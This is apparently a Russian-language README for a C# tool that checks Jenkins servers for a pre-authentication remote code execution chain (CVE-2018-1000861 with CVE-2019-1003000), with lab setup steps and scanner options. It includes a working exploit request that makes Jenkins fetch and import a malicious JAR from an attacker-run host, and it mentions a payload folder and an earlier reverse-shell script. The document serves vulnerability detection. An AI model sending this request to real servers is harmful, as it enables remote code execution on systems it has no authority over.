1nthekut/cve-2019-1003000_rce-detectionC# модуль для определения, уязвим ли сервер Jenkins к уязвимости RCE, обнаруженной в CVE-2019-1003000 (в связке с CVE-2018-1000861 для RCE без аутентификации)
Объединив уязвимости CVE-2018-1000861 и CVE-2019-1003000, я создал модуль для проверки Pre-Auth RCE на Jenkins CI. Изначально я пытался обнаружить уязвимость с помощью имени пользователя, пароля и имени задания, но подумал, что будет более реалистично и интересно подойти к этой задаче, объединив две уязвимости.
Установите Visual Studio или .NET Core framework на вашу машину с Windows, Linux или macOS.
docker pull jenkins/jenkins:2.121mvDir.sh
./mvDir.sh
chmod +x mvDir.sh. Если всё равно не работает, можно запустить как bash mvDir.sh./run_vuln_jenkins.sh
http://localhost:8080)../run_updated_jenkins.sh или bash run_updated_jenkins.sh поднимет защищённый, обновлённый сервер Jenkins на http://localhost:8000, и запуск модуля против него покажет, что он защищён и не уязвим для цепочки CVE-2018-1000861 с CVE-2019-1003000.Первоначальный план, который я составил, был хорошей основой для решения; однако в процессе я понял, что делаю много лишней работы. Сначала я написал bash-скрипт для запуска обратной оболочки на хост-машину, чтобы доказать RCE. Но целью этого задания было доказать существование уязвимости. В данном случае нужно было доказать, что RCE может быть запущена на Jenkins версии 2.121.2 со следующими плагинами: Pipeline: Declarative Plugin до 1.3.4, Pipeline: Declarative Extension Points API до 1.3.4, Pipeline: Groovy Plugin до 2.61, Script Security Plugin до 1.49.
Мне не нужно было создавать обратную оболочку и показывать, что я могу выполнять произвольные команды. Из-за этого обнаружение стало проще как на Windows, так и на .nix-системах. После выполнения GET-запроса я обнаружил, что страница отвечает статусом успеха или выводит сообщение об ошибке. Чтобы убедиться, что статус успеха не является ложным срабатыванием, я настроил веб-сервер на своём хосте с помощью python -m SimpleHTTPSever 80, и при отправке пользовательского GET-запроса к указанному вредоносному JAR-файлу (находится в папке payload) видно, что GET-запрос отвечает кодом состояния 200 с правильным путём к JAR-файлу, найденному на локальной машине, что доказывает существование уязвимости. Ниже приведён пример GET-запроса и соответствующего ответа. Разные пути к файлам (tw/ и www/) содержат вредоносный JAR; это просто разные пути, по которым запрос ищет его.
http://localhost:8080/securityRealm/user/Naruto/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0a@GrabResolver(name=%27orange.tw%27,%20root=%27http:[ip_address]/%27)%0a@Grab(group=%27vw.orange%27,%20module=%27poc%27,%20version=%271%27)%0aimport%20NixExploit;
dotnet buildДля запуска модуля: dotnet run -- -u http://localhost:8080 -ip <host_ip_address>
http://, иначе программа выбросит HTTP-исключение, и придётся запускать заново.Параметры
| Сокращение | Полная форма | Описание |
|---|---|---|
| -uname | --username | Имя пользователя Jenkins |
| -p | --password | Пароль пользователя Jenkins |
| -u | --url | Целевой URL |
| -ip | --ip address | IP-адрес |
| -v | --verbose | Подробный вывод |
-p и -uname ещё не реализованы, так как я создал модуль только для обнаружения Pre-Auth RCE, полагая, что это более реалистично для Detectify, потому что, на мой взгляд, сканер компании просто нацелен на целевой домен (и не имеет настраиваемых параметров, таких как пароль и имя пользователя, поскольку это также было бы небезопасно для передачи другой компании, даже если она пытается помочь улучшить их безопасность).